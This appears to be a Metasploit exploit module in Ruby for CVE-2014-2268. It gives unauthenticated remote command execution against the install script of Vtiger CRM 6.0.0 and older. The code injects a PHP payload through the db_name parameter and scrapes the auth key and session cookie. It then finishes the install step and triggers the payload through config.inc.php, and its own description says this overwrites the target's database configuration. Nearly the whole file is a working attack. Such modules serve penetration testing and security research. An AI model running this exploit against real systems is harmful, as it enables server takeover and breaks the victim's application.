116 lines
3.6 KiB
Ruby
116 lines
3.6 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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# Application database configuration is overwritten
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Rank = ManualRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Vtiger Install Unauthenticated Remote Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability in the
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Vtiger install script. This module is set to ManualRanking due to this
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module overwriting the target database configuration, which may result in
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a broken web app, and you may not be able to get a session again.
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},
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'Author' =>
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[
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'Jonathan Borgeaud < research[at]navixia.com >' # Navixia Research Team
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2014-2268' ],
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[ 'URL', 'https://www.navixia.com/blog/entry/navixia-find-critical-vulnerabilities-in-vtiger-crm-cve-2014-2268-cve-2014-2269.html'],
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[ 'URL', 'http://vtiger-crm.2324883.n4.nabble.com/Vtigercrm-developers-IMP-forgot-password-and-re-installation-security-fix-tt9786.html'],
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],
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'Privileged' => false,
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'Platform' => ['php'],
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'Payload' =>
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{
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'Space' => 4000,
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'BadChars' => "#",
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'DisableNops' => true,
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'Keys' => ['php']
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},
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'Arch' => ARCH_PHP,
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'Targets' => [[ 'Vtiger 6.0.0 or older', { }]],
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'DisclosureDate' => 'Mar 5 2014',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to Vtiger', '/'])
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], self.class)
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end
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def exploit
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print_status("Injecting payload...")
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rand_arg = Rex::Text.rand_text_hex(10)
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'index.php'),
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'headers' => {'X-Requested-With' => rand_text_alpha(5)},
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'vars_get' => {
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'module' => 'Install',
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'view' => 'Index',
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'mode' => 'Step5',
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'db_name' => "127.0.0.1'; if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } // "
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}})
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# Check timeout
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if not res
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print_error("Request timed out, please try again")
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return
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end
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if res.body =~ /name="auth_key"\s+value=".*?((?:[a-z0-9]*))"/i
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authkey = $1
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phpsessid = res.get_cookies
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if authkey.blank?
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print_error("No AuthKey found")
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return
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elsif phpsessid.blank?
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print_error("No PHP Session ID found")
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return
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end
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print_status("Retrieved Authkey : #{authkey}")
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print_status("Retrieved PHPSESSID : #{phpsessid}")
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send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'index.php'),
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'headers' => {'X-Requested-With' => rand_text_alpha(5)},
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'cookie' => phpsessid,
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'vars_get' =>
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{
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'module' => 'Install',
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'view' => 'Index',
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'mode' => 'Step7',
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'auth_key' => authkey
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}
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})
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print_status("Executing payload...")
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send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'config.inc.php'),
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'vars_get' => { rand_arg => '1' }
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})
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else
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print_error("No auth_key pattern found")
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end
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end
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end
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